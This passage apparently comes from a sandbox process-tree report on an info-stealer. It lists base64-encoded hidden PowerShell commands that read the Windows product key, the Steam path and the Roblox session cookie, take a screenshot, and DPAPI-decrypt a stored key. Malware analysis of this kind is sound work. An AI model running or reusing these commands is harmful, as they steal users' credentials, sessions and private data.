0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0AUAByAG8AZgBpAGwAZQAgAEQAbwBtAGEAaQBuACwAUAB1AGIAbABpAGMALABQAHIAaQB2AGEAdABlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEUAbgBhAGIAbABlAGQAIAAtAGUAcQAgACcAVAByAHUAZQAnACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlACkAIAAtAGoAbwBpAG4AIAAnACwAIAAnACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsAIAAkAGsAZQB5ACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARABlAGYAYQB1AGwAdABQAHIAbwBkAHUAYwB0AEsAZQB5ACcAIAAtAE4AYQBtAGUAIABQAHIAbwBkAHUAYwB0AEkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUAByAG8AZAB1AGMAdABJAGQAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0AQwBvAG0AcAByAGUAcwBzAAoA
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:6868
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:6156
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                        powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1316
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4376
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:6724
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwB2AG8AdwA5AGYAMQBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA=="
                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2776
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwB2AG8AdwA5AGYAMQBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA==
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6196
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA=="
                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:296
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA==
                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2804
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6776
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1228
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMAGQAaQBSAEIAVABZAE0AcQBIAEwAOQBpAHoAYwB3AE8AVQByAEUAbwA3ADIALwBmAGgANAB0AEMAdAB2ADAAQQBJAFMAUgBoAE4AeAA4AE0ARQB5AEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAE0ARAA0AGIAVQBNAEQAbABOAEwARgBEAFcASwAwAHYAawA1AGEAQwBDADgAWQBIAGsAdQB5ADcAUQBQAHkAdgBZAHYAYQBvAGgAcwBXAGwALwA1AGkAawBBAEUAQQBBAEsASAAxAGUAbAB5AFkAZQA1AFgAQgBQADkAbwBaAFEAZgBYADIAMgBUADMAdwA3AFMAeQA0AGgAWQBuAHYAcwBJAEgAcQBQAFAAeQBqAE0AMgBZAFoAKwBZAHQAeQBMAFYAMgBqAEYAZQBSAFEATwAzAEoAYwBXAGUAMwBvADYAOQBLAEkAQwA1AG4ATQAwAEUANABOAHYARwA0AGoAMwBIADQAWABNAE8AcwBEAFUAQQB6AFMASAA1AHYAbgBNAHIATABRAFoARwAvADYAcgBwAGUASQAyAFoAegBGAGoAaQBDAFoAbAA2AGYAcQBDAFoAdABRAFoAaQBpAEwAdgBRAGsAYgBoAGQAaABSAFUAbgB3AGwAMQBEAFYATQB6AHQAeQAxAGMATgBOAGQAKwBVADQAVgBmAHIANABvADQAUwA2AHUAWQBMAHIAbwBxAFEAQwBPAGUARQByAHIAOQBTAGoASgBYAEoASABzAHAARQB3AHoAbABEADAAaAA4AGwAdAA3AGYAVABoAHcASQBuADIAbQBBAEUASQBJAG0AdgBOADkASgBnAG4ATABMAHoARABnADgANwB1AFAAYQBSADAAZQAwAHgASABRAHQAVQBXAGkATAArAGIAMQBPADIAMgA3AEYAMgBmAGEATQBLAHQAbAAw